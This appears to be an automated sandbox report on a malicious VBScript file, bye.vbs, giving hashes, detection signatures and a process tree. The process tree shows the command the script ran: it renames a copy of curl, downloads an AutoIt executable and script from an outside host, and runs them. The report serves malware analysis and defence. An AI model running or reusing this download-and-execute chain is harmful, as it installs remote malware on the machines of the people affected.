Resubmissions

03/10/2023, 09:59

231003-lz3tnshf91 10

03/10/2023, 03:21

231003-dwbxsahh45 10

Analysis

  • max time kernel
    315s
  • max time network
    405s
  • platform
    windows10-1703_x64
  • resource
    win10-20230915-de
  • resource tags

    arch:x64arch:x86image:win10-20230915-delocale:de-deos:windows10-1703-x64systemwindows
  • submitted
    03/10/2023, 09:59

General

  • Target

    bye.vbs

  • Size

    19KB

  • MD5

    a19d814f720701a258a6e8b5a22b22c9

  • SHA1

    cbdcdefb3328f1473bb1da624ed2bf9515ffd2c3

  • SHA256

    7d4115e88411e7bcac9ed622dbb6554ff4015c6f9fed98a5427970ceada526e6

  • SHA512

    51b2a31f0c4fce15d87d1ab88d8e383ee7f8be0e9075183a22c6bfcca48dd30d43ca7987baf3c811ab11a4132199a31213d3096c91a645127f13b7703d3bd044

  • SSDEEP

    384:fwcem3DxZbJ6TZZfOEcMR/vuvP3RhbWbdVIIo+T6ncfzeQhs7h7:YcXZ16/+MRSbbaX9yp7h7

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bye.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:3488
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c mkdir c:\dcvj & cd /d c:\dcvj & copy c:\windows\system32\curl.exe dcvj.exe & dcvj -H "User-Agent: curl" -o Autoit3.exe http://searcherbigdealk.com:2351 & dcvj -o thnzyn.au3 http://searcherbigdealk.com:2351/msidcvjgknu & Autoit3.exe thnzyn.au3
      2⤵
        PID:3492

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads